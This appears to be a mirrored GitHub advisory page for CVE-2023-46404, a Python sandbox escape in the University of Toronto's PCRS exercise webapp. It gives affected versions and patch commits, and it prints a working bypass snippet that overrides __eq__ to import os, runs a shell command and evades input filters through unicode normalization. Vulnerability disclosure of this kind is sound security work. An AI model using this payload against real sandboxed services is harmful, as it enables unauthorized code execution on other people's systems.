Git Product home page Git Product logo

cve-2023-46404's Introduction

CVE-2023-46404

PCRS is a webapp for online programming exercises developed at the University of Toronto. See Bitbucket repository: https://bitbucket.org/utmandrew/pcrs/src/3.11/

Summary

PCRS “Questions” page with code submission and “Code editor” page are vulnerable to remote code execution (RCE) by escaping Python sandboxing.

Details

Remote code execution can be achieved in PCRS instances through the use of generator objects. By using generator frames (gi_frame) and f_back, scripts can traverse out of a sandboxed stack frame and execute malicious code in an unsandboxed environment. Additionally, unicode normalization can easily bypass basic input sanitization. Any authenticated user with minimum privileges can perform this attack. See PoC for more details.

Known Affected Versions

  • PCRS <= 3.11 d0de1e with Python execution.
  • Patch implemented in 9326ad3 with partial mitigation in fbaedd3.

Mitigation

Crafting secure isolation mechanisms from scratch is prone to oversights and vulnerabilities. As always, it is better to sandbox an execution environment than a language.

Extra

Overriding __eq__ can be used in a restricted environment:

def f():
    mod_name = "os"
    fake_name = "json"
    os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
    os.system("id > /tmp/test.txt")
    s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
    os.system("rm /tmp/test.txt")
    return s

cve-2023-46404's People

Contributors

windecks avatar

Stargazers

 avatar William Khem Marquez avatar raye peng avatar

Watchers

 avatar

cve-2023-46404's Issues

Which product?

Hello! Could you please confirm which 'PCRS' this is? There are at least two products with that initialism. Thanks!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.